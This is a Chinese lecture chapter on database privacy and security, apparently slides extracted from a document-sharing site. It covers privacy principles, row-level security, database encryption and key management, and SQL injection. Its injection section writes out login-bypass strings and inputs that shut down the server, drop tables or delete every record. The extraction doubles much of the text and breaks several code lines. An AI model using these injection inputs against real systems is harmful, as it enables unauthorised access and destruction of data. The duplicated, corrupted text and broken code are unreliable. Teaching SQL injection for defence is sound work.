第八章數(shù)據(jù)庫隱私_第1頁
第八章數(shù)據(jù)庫隱私_第2頁
第八章數(shù)據(jù)庫隱私_第3頁
第八章數(shù)據(jù)庫隱私_第4頁
第八章數(shù)據(jù)庫隱私_第5頁
已閱讀5頁,還剩49頁未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡介

1、1 第八章數(shù)據(jù)庫隱私與數(shù)據(jù)庫安全的其他問題2 3 8 8.1 .1 隱私隱私8 8.1.1 .1.1 隱私權(quán)的產(chǎn)生隱私權(quán)的產(chǎn)生19481948聯(lián)合國大會(huì)通過的世界人權(quán)宣言就在聯(lián)合國大會(huì)通過的世界人權(quán)宣言就在第第1212條明文規(guī)定:條明文規(guī)定:“任何人的私生活、家庭、任何人的私生活、家庭、住宅和通信不得任意干涉,他的榮譽(yù)和名譽(yù)不住宅和通信不得任意干涉,他的榮譽(yù)和名譽(yù)不得加以攻擊。人人有權(quán)享受法律保護(hù),以免受得加以攻擊。人人有權(quán)享受法律保護(hù),以免受干涉或攻擊。干涉或攻擊?!?966”1966年聯(lián)合國大會(huì)通過的公年聯(lián)合國大會(huì)通過的公民權(quán)利和政治權(quán)利國際公約在第民權(quán)利和政治權(quán)利國際公約在第1717條中

2、作了條中作了幾乎相同的規(guī)定,只是在幾乎相同的規(guī)定,只是在“干涉干涉”的前面加上的前面加上了了“非法非法”字樣,即字樣,即“不得加以任意或非法的不得加以任意或非法的干涉干涉”,使其含義更加確切。,使其含義更加確切。48.1.2 隱私權(quán)的內(nèi)容隱私權(quán)的內(nèi)容 隱私權(quán)隱私權(quán):是自然人享有的私人生活安寧和私人是自然人享有的私人生活安寧和私人信息依法受保護(hù),不被他人非法侵?jǐn)_、知悉、信息依法受保護(hù),不被他人非法侵?jǐn)_、知悉、搜集、利用和公開的一種人格權(quán),它包含主體搜集、利用和公開的一種人格權(quán),它包含主體和客體兩部分。和客體兩部分。隱私權(quán)的主體隱私權(quán)的主體:應(yīng)為自然人,不包括法人。隱應(yīng)為自然人,不包括法人。隱私權(quán)

3、的宗旨是保持人的心情舒暢、維護(hù)人格尊私權(quán)的宗旨是保持人的心情舒暢、維護(hù)人格尊嚴(yán)。嚴(yán)。隱私權(quán)的客體隱私權(quán)的客體:是隱私。是隱私。58.2 隱私形式隱私形式8.2.1 信息時(shí)代的隱私信息時(shí)代的隱私在網(wǎng)絡(luò)所帶來隱私權(quán)問題當(dāng)中,一個(gè)關(guān)鍵的問在網(wǎng)絡(luò)所帶來隱私權(quán)問題當(dāng)中,一個(gè)關(guān)鍵的問題就是有關(guān)個(gè)人數(shù)據(jù)的權(quán)利問題。題就是有關(guān)個(gè)人數(shù)據(jù)的權(quán)利問題。19951995年年7 7月,歐洲聯(lián)盟數(shù)據(jù)保護(hù)規(guī)章給個(gè)月,歐洲聯(lián)盟數(shù)據(jù)保護(hù)規(guī)章給個(gè)人數(shù)據(jù)下的定義是:人數(shù)據(jù)下的定義是:“有關(guān)一個(gè)人被識(shí)別或可有關(guān)一個(gè)人被識(shí)別或可識(shí)別的自然人的任何信息,包括身體的、生理識(shí)別的自然人的任何信息,包括身體的、生理的、經(jīng)濟(jì)的、文化的、社會(huì)的、

4、的、經(jīng)濟(jì)的、文化的、社會(huì)的、”。由此可見,。由此可見,所謂個(gè)人數(shù)據(jù),是指用來標(biāo)識(shí)個(gè)人基本情況的所謂個(gè)人數(shù)據(jù),是指用來標(biāo)識(shí)個(gè)人基本情況的一組數(shù)據(jù)資料,其范圍非常廣泛。一組數(shù)據(jù)資料,其范圍非常廣泛。6在網(wǎng)絡(luò)上,這些個(gè)人數(shù)據(jù)主要包括四個(gè)方面。在網(wǎng)絡(luò)上,這些個(gè)人數(shù)據(jù)主要包括四個(gè)方面。v個(gè)個(gè)人登錄的身份、健康狀況、興趣愛好。人登錄的身份、健康狀況、興趣愛好。v個(gè)人的信用和財(cái)產(chǎn)狀況,包括信用卡、電個(gè)人的信用和財(cái)產(chǎn)狀況,包括信用卡、電子消費(fèi)卡、上網(wǎng)卡、上網(wǎng)賬號(hào)和密碼、交子消費(fèi)卡、上網(wǎng)卡、上網(wǎng)賬號(hào)和密碼、交易賬號(hào)和密碼等。易賬號(hào)和密碼等。v郵箱地址,郵箱地址同樣是個(gè)人隱私,用郵箱地址,郵箱地址同樣是個(gè)人隱私,

5、用戶大多數(shù)不愿將之公開。戶大多數(shù)不愿將之公開。v網(wǎng)絡(luò)活動(dòng)蹤跡。個(gè)人在網(wǎng)上的活動(dòng)蹤跡。網(wǎng)絡(luò)活動(dòng)蹤跡。個(gè)人在網(wǎng)上的活動(dòng)蹤跡。78.3 數(shù)據(jù)庫隱私數(shù)據(jù)庫隱私8.3 1 數(shù)據(jù)庫隱私保護(hù)的原則數(shù)據(jù)庫隱私保護(hù)的原則數(shù)據(jù)庫隱私保護(hù)的數(shù)據(jù)庫隱私保護(hù)的1010條規(guī)則。條規(guī)則。v目標(biāo)定義目標(biāo)定義(Purpose Specification)(Purpose Specification)。對收。對收集和存儲(chǔ)在數(shù)據(jù)庫中的每條個(gè)人信息都應(yīng)該集和存儲(chǔ)在數(shù)據(jù)庫中的每條個(gè)人信息都應(yīng)該給出相應(yīng)的目的描述。給出相應(yīng)的目的描述。v提供者同意提供者同意(Consent)(Consent)。每條個(gè)人信息的相。每條個(gè)人信息的相應(yīng)目的都應(yīng)

6、該獲得信息提供者的同意。應(yīng)目的都應(yīng)該獲得信息提供者的同意。v收集限制收集限制(Limited Collection)(Limited Collection)。個(gè)人信息。個(gè)人信息的收集應(yīng)該限制在滿足相應(yīng)目的的最小需求的收集應(yīng)該限制在滿足相應(yīng)目的的最小需求內(nèi)。內(nèi)。v使用限制使用限制(Limited use)(Limited use)。數(shù)據(jù)庫僅僅運(yùn)行。數(shù)據(jù)庫僅僅運(yùn)行與收集信息的目的相一致的查詢。與收集信息的目的相一致的查詢。8v泄露限制泄露限制(Limited Disclosure)(Limited Disclosure)。存儲(chǔ)在。存儲(chǔ)在數(shù)據(jù)庫中的數(shù)據(jù)不允許同與信息提供者同數(shù)據(jù)庫中的數(shù)據(jù)不允許同與信

7、息提供者同意目的不符的外界進(jìn)行交流。意目的不符的外界進(jìn)行交流。v保留限制保留限制(Limited RetentionLimited Retention)。個(gè)人信)。個(gè)人信息只在為完成必要目的的時(shí)候才加以保留。息只在為完成必要目的的時(shí)候才加以保留。v準(zhǔn)確準(zhǔn)確(Accuracy)(Accuracy)。存儲(chǔ)器在數(shù)據(jù)庫中的個(gè)。存儲(chǔ)器在數(shù)據(jù)庫中的個(gè)人信息必須是正確的、最新的。人信息必須是正確的、最新的。v安全安全(SafetySafety)。個(gè)人信息有安全措施保)。個(gè)人信息有安全措施保護(hù),以防被盜或挪作它用。護(hù),以防被盜或挪作它用。v開放開放(Openness)(Openness)。信息擁有者應(yīng)該能夠訪

8、。信息擁有者應(yīng)該能夠訪問自己存儲(chǔ)在數(shù)據(jù)庫中的所有信息。問自己存儲(chǔ)在數(shù)據(jù)庫中的所有信息。v遵從遵從(ComplianceCompliance)。信息擁有者能夠驗(yàn))。信息擁有者能夠驗(yàn)證以上規(guī)則的遵守情況,相應(yīng)地,數(shù)據(jù)庫證以上規(guī)則的遵守情況,相應(yīng)地,數(shù)據(jù)庫也應(yīng)該重視對這些規(guī)則的挑戰(zhàn)。也應(yīng)該重視對這些規(guī)則的挑戰(zhàn)。9 10.3.2 基于訪問控制的隱私保護(hù)基于訪問控制的隱私保護(hù) OracleOracle系統(tǒng)的隱私保護(hù)系統(tǒng)的隱私保護(hù)OracleOracle一直都提供授權(quán)(或拒絕)用戶訪問數(shù)一直都提供授權(quán)(或拒絕)用戶訪問數(shù)據(jù)庫對象的能力,但是這些訪問權(quán)限是在對象據(jù)庫對象的能力,但是這些訪問權(quán)限是在對象級別上

9、定義的,即對于整個(gè)表或者整個(gè)數(shù)據(jù)庫,級別上定義的,即對于整個(gè)表或者整個(gè)數(shù)據(jù)庫,而不是針對表中某個(gè)特定的行而定義。而不是針對表中某個(gè)特定的行而定義。Oracle8iOracle8i中引入的中引入的OracleOracle行級安全性行級安全性(Row-(Row-Level Security, RLS)Level Security, RLS)特性在表的行這一級上特性在表的行這一級上進(jìn)行控制。行級安全性并不向?qū)Ρ碛腥魏卧L問進(jìn)行控制。行級安全性并不向?qū)Ρ碛腥魏卧L問權(quán)限的用戶打開整個(gè)表,而是將訪問限定到表權(quán)限的用戶打開整個(gè)表,而是將訪問限定到表中某個(gè)特定的行,其操作結(jié)果就是每個(gè)用戶看中某個(gè)特定的行,其操作

10、結(jié)果就是每個(gè)用戶看到完全不同的數(shù)據(jù)集。到完全不同的數(shù)據(jù)集。10例:例:假設(shè)銀行的賬戶經(jīng)理(假設(shè)銀行的賬戶經(jīng)理(AMAM)向高資金賬戶)向高資金賬戶持有者提供個(gè)人客戶支持。規(guī)定賬戶經(jīng)理只能訪持有者提供個(gè)人客戶支持。規(guī)定賬戶經(jīng)理只能訪問管轄之內(nèi)特定的客戶信息,而不是所有客戶信問管轄之內(nèi)特定的客戶信息,而不是所有客戶信息。息。本例有兩個(gè)關(guān)鍵表,其一是本例有兩個(gè)關(guān)鍵表,其一是CUSTOMERCUSTOMER(客戶)(客戶)表,其二是表,其二是ACCOUNTACCOUNT(賬戶)表(賬戶)表表表8 8.1 CUSTOMER.1 CUSTOMER表表11表表8 8.2 ACCOUNT.2 ACCOUNT表

11、表表表8 8.3 ACCESS_POLICY.3 ACCESS_POLICY表表用戶的安全性經(jīng)理,擁有一個(gè)用戶的安全性經(jīng)理,擁有一個(gè)Access_policy表,表,可以識(shí)別賬戶經(jīng)理和他們各自客戶的賬戶??梢宰R(shí)別賬戶經(jīng)理和他們各自客戶的賬戶。12 表表 8 8.4 ACCESS_POLICY.4 ACCESS_POLICY表記錄表記錄13 10.3.3 數(shù)據(jù)加密數(shù)據(jù)加密數(shù)據(jù)庫安全措施不能抵御的幾種攻擊數(shù)據(jù)庫安全措施不能抵御的幾種攻擊: :v通過非法獲取用戶名和口令,竊取和篡改通過非法獲取用戶名和口令,竊取和篡改數(shù)據(jù)庫中的信息數(shù)據(jù)庫中的信息; ;v用戶繞過操作系統(tǒng)或用戶繞過操作系統(tǒng)或DBMSDB

12、MS的控制入侵系統(tǒng),的控制入侵系統(tǒng),竊取和篡改數(shù)據(jù)庫中的信息竊取和篡改數(shù)據(jù)庫中的信息; ; v數(shù)據(jù)存儲(chǔ)介質(zhì)數(shù)據(jù)存儲(chǔ)介質(zhì)( (如磁盤、光盤、磁帶等如磁盤、光盤、磁帶等) )失失竊導(dǎo)致數(shù)據(jù)庫中的數(shù)據(jù)泄漏竊導(dǎo)致數(shù)據(jù)庫中的數(shù)據(jù)泄漏; ; v惡意的數(shù)據(jù)庫管理員惡意的數(shù)據(jù)庫管理員(DBA)(DBA)竊取和篡改數(shù)據(jù)竊取和篡改數(shù)據(jù)庫中的信息。庫中的信息。14數(shù)據(jù)庫加密要求數(shù)據(jù)庫加密要求v數(shù)據(jù)庫中信息保存時(shí)間比較長數(shù)據(jù)庫中信息保存時(shí)間比較長, ,采用合適的采用合適的加密方式加密方式, ,從根本上達(dá)到不可破譯從根本上達(dá)到不可破譯; ;v加密后加密后, ,加密數(shù)據(jù)占用的存儲(chǔ)空間不宜明顯加密數(shù)據(jù)占用的存儲(chǔ)空間不宜明顯

13、增大增大; ;v加密加密/ /解密速度要快解密速度要快, ,尤其是解密速度尤其是解密速度, ,要使要使用戶感覺不到加密用戶感覺不到加密/ /解密過程中產(chǎn)生的時(shí)延解密過程中產(chǎn)生的時(shí)延, ,以及系統(tǒng)性能的變化以及系統(tǒng)性能的變化; ;v授權(quán)機(jī)制要盡可能靈活。授權(quán)機(jī)制要盡可能靈活。v提供一套安全的、靈活的密鑰管理機(jī)制提供一套安全的、靈活的密鑰管理機(jī)制; ;v不影響數(shù)據(jù)庫系統(tǒng)的原有功能不影響數(shù)據(jù)庫系統(tǒng)的原有功能, ,保持對數(shù)據(jù)保持對數(shù)據(jù)庫操作庫操作( (如查詢?nèi)绮樵? ,檢索檢索, ,修改修改, ,更新更新) )的靈活性的靈活性和簡便性。和簡便性。15一、加密執(zhí)行層次一、加密執(zhí)行層次操作系統(tǒng)層加密、操作

14、系統(tǒng)層加密、DBMSDBMS內(nèi)核層加密和內(nèi)核層加密和DBMSDBMS外層外層加密三個(gè)不同層次實(shí)現(xiàn)加密三個(gè)不同層次實(shí)現(xiàn) 1.1.在操作系統(tǒng)在操作系統(tǒng)(OS)(OS)層執(zhí)行加密層執(zhí)行加密/ /解密:解密:數(shù)據(jù)庫元數(shù)據(jù)庫元素以及各元素之間的關(guān)系無法辨認(rèn)素以及各元素之間的關(guān)系無法辨認(rèn), ,所以無法所以無法產(chǎn)生合理的密鑰。一般在產(chǎn)生合理的密鑰。一般在OSOS層層, ,針對數(shù)據(jù)庫文針對數(shù)據(jù)庫文件要么不加密件要么不加密, ,要么對整個(gè)數(shù)據(jù)庫文件進(jìn)行加要么對整個(gè)數(shù)據(jù)庫文件進(jìn)行加密密, ,加密加密/ /解密不能合理執(zhí)行。因此一般不采用解密不能合理執(zhí)行。因此一般不采用在在OSOS層進(jìn)行數(shù)據(jù)庫加密。層進(jìn)行數(shù)據(jù)庫加密

15、。162.2.在在DBMSDBMS內(nèi)核層執(zhí)行加密內(nèi)核層執(zhí)行加密/ /解密解密 在在DBMSDBMS內(nèi)核層對數(shù)據(jù)庫管理系統(tǒng)本身進(jìn)行內(nèi)核層對數(shù)據(jù)庫管理系統(tǒng)本身進(jìn)行操作操作, ,這種加密是指數(shù)據(jù)在物理存取之前完成加這種加密是指數(shù)據(jù)在物理存取之前完成加密密/ /解密工作。解密工作。v優(yōu)點(diǎn):優(yōu)點(diǎn):是加密功能強(qiáng)是加密功能強(qiáng), , 不影響不影響DBMSDBMS的功能。的功能。由于與由于與DBMSDBMS系統(tǒng)結(jié)合緊密系統(tǒng)結(jié)合緊密, ,可以提供對各種??梢蕴峁Ω鞣N粒度加密的靈活性度加密的靈活性, ,靈活的加密配合靈活的加密配合DBMSDBMS的訪問的訪問控制、授權(quán)控制控制、授權(quán)控制 。另外。另外, ,這種層次

16、的加密對這種層次的加密對于應(yīng)用程序來說是透明的。于應(yīng)用程序來說是透明的。v缺點(diǎn):缺點(diǎn):是加密運(yùn)算在服務(wù)器端進(jìn)行是加密運(yùn)算在服務(wù)器端進(jìn)行, DBMS, DBMS除除了完成正常的功能外,還要進(jìn)行加解密運(yùn)了完成正常的功能外,還要進(jìn)行加解密運(yùn)算,加重了服務(wù)器的負(fù)載算,加重了服務(wù)器的負(fù)載, ,而且而且DBMSDBMS和加密器和加密器之間的接口需要之間的接口需要DBMSDBMS開發(fā)商的支持。開發(fā)商的支持。173.3.在在DBMSDBMS外層執(zhí)行加密外層執(zhí)行加密/ /解密解密 在應(yīng)用程序中實(shí)現(xiàn)在應(yīng)用程序中實(shí)現(xiàn), ,加密時(shí)調(diào)用應(yīng)用程序加密時(shí)調(diào)用應(yīng)用程序中的加密模塊來完成數(shù)據(jù)的加密工作中的加密模塊來完成數(shù)據(jù)的加

17、密工作, ,然后把然后把密文數(shù)據(jù)傳送到密文數(shù)據(jù)傳送到DBMSDBMS存儲(chǔ)存儲(chǔ); ;解密時(shí)把密文數(shù)據(jù)解密時(shí)把密文數(shù)據(jù)取出到應(yīng)用程序中取出到應(yīng)用程序中, ,然后由應(yīng)用程序中的解密然后由應(yīng)用程序中的解密模塊將數(shù)據(jù)解密并給出結(jié)果。模塊將數(shù)據(jù)解密并給出結(jié)果。v優(yōu)點(diǎn):優(yōu)點(diǎn):不會(huì)加重?cái)?shù)據(jù)庫服務(wù)器的負(fù)載不會(huì)加重?cái)?shù)據(jù)庫服務(wù)器的負(fù)載, , 加解加解密運(yùn)算可在客戶端進(jìn)行密運(yùn)算可在客戶端進(jìn)行, , 并且可以實(shí)現(xiàn)網(wǎng)上并且可以實(shí)現(xiàn)網(wǎng)上傳輸?shù)募用軅鬏數(shù)募用? , 可以將加密密鑰與所加密的數(shù)可以將加密密鑰與所加密的數(shù)據(jù)分開保存,提高了安全性。據(jù)分開保存,提高了安全性。v缺點(diǎn):缺點(diǎn):加密后的數(shù)據(jù)庫功能受到一些限制,加密后的數(shù)據(jù)

18、庫功能受到一些限制,例如加密后的數(shù)據(jù)無法正常索引。同時(shí)數(shù)據(jù)例如加密后的數(shù)據(jù)無法正常索引。同時(shí)數(shù)據(jù)加密后也會(huì)破壞原有的關(guān)系數(shù)據(jù)的完整性與加密后也會(huì)破壞原有的關(guān)系數(shù)據(jù)的完整性與一致性,這些都會(huì)給數(shù)據(jù)庫應(yīng)用帶來影響。一致性,這些都會(huì)給數(shù)據(jù)庫應(yīng)用帶來影響。18二、加密算法的選擇二、加密算法的選擇1.1.對稱加密對稱加密對稱加密算法加密速度快,因此它是最常用的對稱加密算法加密速度快,因此它是最常用的加密技術(shù)。主要的對稱加密算法有加密技術(shù)。主要的對稱加密算法有DESDES、IDEAIDEA和和AESAES。主要缺點(diǎn)密鑰的生成、分發(fā)、備份、。主要缺點(diǎn)密鑰的生成、分發(fā)、備份、重新生成和生命周期等方面常存在安全

19、問題。重新生成和生命周期等方面常存在安全問題。在數(shù)據(jù)庫加密中一般采取對稱密鑰的分組加密在數(shù)據(jù)庫加密中一般采取對稱密鑰的分組加密算法。算法。192. 2. 非對稱加密非對稱加密適用于分布式系統(tǒng)中的數(shù)據(jù)加密。加密速度慢,適用于分布式系統(tǒng)中的數(shù)據(jù)加密。加密速度慢,安全強(qiáng)度沒有對稱加密高,密鑰分發(fā)安全。常安全強(qiáng)度沒有對稱加密高,密鑰分發(fā)安全。常用的公鑰加密算法是用的公鑰加密算法是RSARSA。203.3.混合加密混合加密為了充分發(fā)揮對稱加密與非對稱加密的優(yōu)勢為了充分發(fā)揮對稱加密與非對稱加密的優(yōu)勢, ,混合加密方案被提出。在混合加密方案中混合加密方案被提出。在混合加密方案中, ,加加密者首先利用一個(gè)隨機(jī)

20、生成的密鑰和對稱加密密者首先利用一個(gè)隨機(jī)生成的密鑰和對稱加密算法加密數(shù)據(jù)算法加密數(shù)據(jù), ,然后通過使用接收者的公鑰把然后通過使用接收者的公鑰把隨機(jī)密鑰進(jìn)行加密隨機(jī)密鑰進(jìn)行加密, ,并與密文一起傳送給接受并與密文一起傳送給接受者。接收者通過自己的私鑰首先解密隨機(jī)密鑰者。接收者通過自己的私鑰首先解密隨機(jī)密鑰, ,再利用其解密密文。此方案既利用了對稱加密再利用其解密密文。此方案既利用了對稱加密安全強(qiáng)度高、速度快的特點(diǎn)安全強(qiáng)度高、速度快的特點(diǎn), ,也利用了非對稱也利用了非對稱加密密鑰管理簡單的特性。加密密鑰管理簡單的特性。21三、數(shù)據(jù)庫加密粒度三、數(shù)據(jù)庫加密粒度一般來說,數(shù)據(jù)庫加密的粒度可以有一般來說

21、,數(shù)據(jù)庫加密的粒度可以有4 4種種v表加密:表加密:表級加密的對象是整個(gè)表,這種表級加密的對象是整個(gè)表,這種加密方法類似于操作系統(tǒng)中文件加密的方法。加密方法類似于操作系統(tǒng)中文件加密的方法。v屬性加密:屬性加密:屬性加密,以表中的列為單位屬性加密,以表中的列為單位進(jìn)行加密。進(jìn)行加密。v記錄加密:記錄加密:記錄加密是把表中的一條記錄記錄加密是把表中的一條記錄作為加密的單位,當(dāng)數(shù)據(jù)庫中需要加密的記作為加密的單位,當(dāng)數(shù)據(jù)庫中需要加密的記錄數(shù)比較少時(shí),采用這種方法是比較好的。錄數(shù)比較少時(shí),采用這種方法是比較好的。v數(shù)據(jù)元素加密:數(shù)據(jù)元素加密:數(shù)據(jù)元素加密是以記錄中數(shù)據(jù)元素加密是以記錄中每個(gè)字段的值為單位

22、進(jìn)行加密。每個(gè)字段的值為單位進(jìn)行加密。 22 四、密鑰管理四、密鑰管理對數(shù)據(jù)庫密鑰的管理一般有對數(shù)據(jù)庫密鑰的管理一般有集中密鑰管理集中密鑰管理和多和多級密鑰管理級密鑰管理兩種體制。兩種體制。集中密鑰管理方法是設(shè)立密鑰管理中心。在建集中密鑰管理方法是設(shè)立密鑰管理中心。在建立數(shù)據(jù)庫時(shí),密鑰管理中心負(fù)責(zé)產(chǎn)生密鑰并對立數(shù)據(jù)庫時(shí),密鑰管理中心負(fù)責(zé)產(chǎn)生密鑰并對數(shù)據(jù)加密,形成一張密鑰表。當(dāng)用戶訪問數(shù)據(jù)數(shù)據(jù)加密,形成一張密鑰表。當(dāng)用戶訪問數(shù)據(jù)庫時(shí),密鑰管理機(jī)構(gòu)核對用戶識(shí)別符和用戶密庫時(shí),密鑰管理機(jī)構(gòu)核對用戶識(shí)別符和用戶密鑰。通過審核后,由密鑰管理機(jī)構(gòu)找到或計(jì)算鑰。通過審核后,由密鑰管理機(jī)構(gòu)找到或計(jì)算出相應(yīng)的數(shù)

23、據(jù)密鑰。這種密鑰管理方式方便用出相應(yīng)的數(shù)據(jù)密鑰。這種密鑰管理方式方便用戶使用和管理,但由于這些密鑰一般由數(shù)據(jù)庫戶使用和管理,但由于這些密鑰一般由數(shù)據(jù)庫管理人員控制,因而權(quán)限過于集中。管理人員控制,因而權(quán)限過于集中。23目前研究和應(yīng)用比較多的是多級密鑰管理體制。目前研究和應(yīng)用比較多的是多級密鑰管理體制。以加密粒度為數(shù)據(jù)元素的三級密鑰管理體制為以加密粒度為數(shù)據(jù)元素的三級密鑰管理體制為例,整個(gè)系統(tǒng)的密鑰由一個(gè)例,整個(gè)系統(tǒng)的密鑰由一個(gè)主密鑰主密鑰、每個(gè)表上、每個(gè)表上的的表密鑰表密鑰,以及各個(gè),以及各個(gè)數(shù)據(jù)元素密鑰數(shù)據(jù)元素密鑰組成。表密組成。表密鑰被主密鑰加密后以密文形式保存在數(shù)據(jù)字典鑰被主密鑰加密后以

24、密文形式保存在數(shù)據(jù)字典中,數(shù)據(jù)元素密鑰由主密鑰及數(shù)據(jù)元素所在行、中,數(shù)據(jù)元素密鑰由主密鑰及數(shù)據(jù)元素所在行、列通過某種函數(shù)自動(dòng)生成,一般不需要保存。列通過某種函數(shù)自動(dòng)生成,一般不需要保存。在多級密鑰體制中,主密鑰是加密子系統(tǒng)的關(guān)在多級密鑰體制中,主密鑰是加密子系統(tǒng)的關(guān)鍵,系統(tǒng)的安全性在很大程度上依賴于主密鑰鍵,系統(tǒng)的安全性在很大程度上依賴于主密鑰的安全性。的安全性。24例:例:OracleOracle數(shù)據(jù)庫數(shù)據(jù)庫10g10g對列進(jìn)行加密。對列進(jìn)行加密。create table accounts(id number not null,firstname varchar2 (20) not null

25、,lastname varchar2 (20) not null,ssn varchar2 (9) ENCRYP USINGAESl28,) SQL Server 2005內(nèi)置密鑰結(jié)構(gòu)內(nèi)置密鑰結(jié)構(gòu) 25數(shù)據(jù)庫加密后對系統(tǒng)的影響數(shù)據(jù)庫加密后對系統(tǒng)的影響v性能下降性能下降v加密的范圍的約束:加密的范圍的約束:如不加密索引字段和表如不加密索引字段和表間的連接碼字段。間的連接碼字段。v加密字符串的模糊匹配加密字符串的模糊匹配: :對加密數(shù)據(jù)上的大對加密數(shù)據(jù)上的大量模糊查詢量模糊查詢, ,例如例如, ,當(dāng)當(dāng)SQLSQL條件語句包含條件語句包含“Like”“Like”時(shí)時(shí), ,很難進(jìn)行處理。很難進(jìn)行處理。

26、v加密數(shù)據(jù)庫的完整性加密數(shù)據(jù)庫的完整性: :當(dāng)數(shù)據(jù)庫加密后當(dāng)數(shù)據(jù)庫加密后, ,實(shí)體實(shí)體完整性不會(huì)被破壞完整性不會(huì)被破壞, ,而引用完整性難以維護(hù),而引用完整性難以維護(hù),如外鍵約束及值域的定義等。數(shù)據(jù)一旦加密,如外鍵約束及值域的定義等。數(shù)據(jù)一旦加密,DBMSDBMS將難以實(shí)現(xiàn)這些約束。將難以實(shí)現(xiàn)這些約束。26v使數(shù)據(jù)的使數(shù)據(jù)的SQLSQL語言受到制約:語言受到制約:SQLSQL語言中的語言中的Group byGroup by、Order byOrder by及及HavingHaving子句分別完成子句分別完成分組和排序等操作,解密后的明文數(shù)據(jù)將失分組和排序等操作,解密后的明文數(shù)據(jù)將失去原語句的分

27、組和排序作用。去原語句的分組和排序作用。v密文數(shù)據(jù)容易成為攻擊目標(biāo)密文數(shù)據(jù)容易成為攻擊目標(biāo)v加密數(shù)據(jù)的存儲(chǔ)空間增加問題加密數(shù)據(jù)的存儲(chǔ)空間增加問題 v密鑰管理問題密鑰管理問題27加密方法加密方法 例:例:OracleOracle數(shù)據(jù)庫數(shù)據(jù)庫10g10g第二版對列進(jìn)行加密。第二版對列進(jìn)行加密。create table accounts(id number not null,firstname varchar2 (20) not null,lastname varchar2 (20) not null,ssn varchar2 (9) ENCRYPT USINGAESl28,)28 10.4 SQL

28、注入攻擊注入攻擊10.4.1 SQL注入攻擊原理注入攻擊原理SQLSQL注入攻擊注入攻擊: :它借助應(yīng)用程序通過參數(shù)化、動(dòng)它借助應(yīng)用程序通過參數(shù)化、動(dòng)態(tài)態(tài)SQLSQL語句與數(shù)據(jù)庫系統(tǒng)進(jìn)行交互的內(nèi)部邏輯,語句與數(shù)據(jù)庫系統(tǒng)進(jìn)行交互的內(nèi)部邏輯,利用程序中存在的漏洞或利用程序中存在的漏洞或BugBug,構(gòu)造與應(yīng)用程,構(gòu)造與應(yīng)用程序設(shè)計(jì)預(yù)期不同的序設(shè)計(jì)預(yù)期不同的SQLSQL聲明,非法訪問非授權(quán)聲明,非法訪問非授權(quán)數(shù)據(jù)、篡改數(shù)據(jù)、監(jiān)視隱私、破壞系統(tǒng)。數(shù)據(jù)、篡改數(shù)據(jù)、監(jiān)視隱私、破壞系統(tǒng)。29 一、典型的一、典型的SOLSOL注入攻擊注入攻擊假設(shè)某網(wǎng)站的數(shù)據(jù)庫中有一個(gè)假設(shè)某網(wǎng)站的數(shù)據(jù)庫中有一個(gè)usertabl

29、eusertable表用表用來存放用戶的登錄信息,包含來存放用戶的登錄信息,包含username ,username , password password等字段,網(wǎng)站的應(yīng)用程序根據(jù)用戶提等字段,網(wǎng)站的應(yīng)用程序根據(jù)用戶提交的數(shù)據(jù)生成交的數(shù)據(jù)生成SQLSQL查詢語句。查詢語句。 開發(fā)人員在數(shù)據(jù)庫中建立一個(gè)數(shù)據(jù)庫表開發(fā)人員在數(shù)據(jù)庫中建立一個(gè)數(shù)據(jù)庫表user_table 。 CREATE TABLE usertable( Id INTEGER PRIMARYKEY, Username VARCHAR(32), Password VARCHAR(41) );30假如用戶提供的用戶名和口令分別為假如用戶

30、提供的用戶名和口令分別為John和和mypassword,那么檢查用戶,那么檢查用戶ID過程如下所示:過程如下所示: SELECT id FROM usertable WHERE username=John AND password= mypassword;應(yīng)用程序中生成應(yīng)用程序中生成SQL查詢語句的代碼:查詢語句的代碼:String querystring=“select * from usertable where ”;if (!username.equals(“”)&(!pass.equals(“”) querystring+=“username=”+username +“ an

31、d password=”+pass+”;else querystring+=“username=guest”;311、用戶、用戶正確輸入正確輸入賬戶名:賬戶名:abc,密碼:密碼:123,則查詢則查詢語句為語句為 select * from usertable where username=abc and password=123;2、 SQL注入攻擊注入攻擊1)若用戶輸入)若用戶輸入賬戶:賬戶:“ OR = 和和密碼:密碼:“ OR = 執(zhí)行的執(zhí)行的SQL語句為:語句為: select * from usertable where username= OR = and password= O

32、R = ; = 恒定成立,恒定成立,32 2)若用戶輸入)若用戶輸入“abc OR 1=1- ”和和 “ ”執(zhí)行的執(zhí)行的SQL語句為:語句為:select * from usertable where username=abc OR 1=1-and password= ; /-以后的內(nèi)容以后的內(nèi)容and password= ; 全部為注冊信全部為注冊信息,息,攻擊后獲取全部信息攻擊后獲取全部信息33 3 3)修改數(shù)據(jù)庫信息)修改數(shù)據(jù)庫信息若用戶輸入若用戶輸入“ ;shutdown with nowait;-shutdown with nowait;-”和和“ ”“ ” 執(zhí)行的執(zhí)行的SQLSQL

33、語句為:語句為: select select * * from usertable where from usertable where username= username= ; ; shutdown with nowaitshutdown with nowait;- and password= and password= ; ; /命令命令shutdown with nowaitshutdown with nowait;會(huì)會(huì)關(guān)閉數(shù)據(jù)庫關(guān)閉數(shù)據(jù)庫服務(wù)器服務(wù)器34 若用戶輸入若用戶輸入“;drop table users;-;drop table users;-”和和“ ”“ ”執(zhí)行的執(zhí)行的S

34、QLSQL語句為:語句為: select select * * from usertable where from usertable where username=username= ;drop table usersdrop table users;-and and password=password= ; ; /命令命令drop table usersdrop table users;會(huì)會(huì)刪刪除除usersusers表表若用戶輸入若用戶輸入“ ;delete from users where delete from users where = = ” 和和 “ “ OR OR = = ”

35、執(zhí)行的執(zhí)行的SQLSQL語句為:語句為: select select * * from usertable where username= from usertable where username= ; ; delete from users where delete from users where = = and and password= password= OR OR = = ; ; /刪除刪除usersusers表中全部記錄表中全部記錄35例例1:某一系統(tǒng)要求考生輸入身份證號(hào)碼某一系統(tǒng)要求考生輸入身份證號(hào)碼,來查詢各來查詢各門課的考試成績門課的考試成績. SELECT * FROM

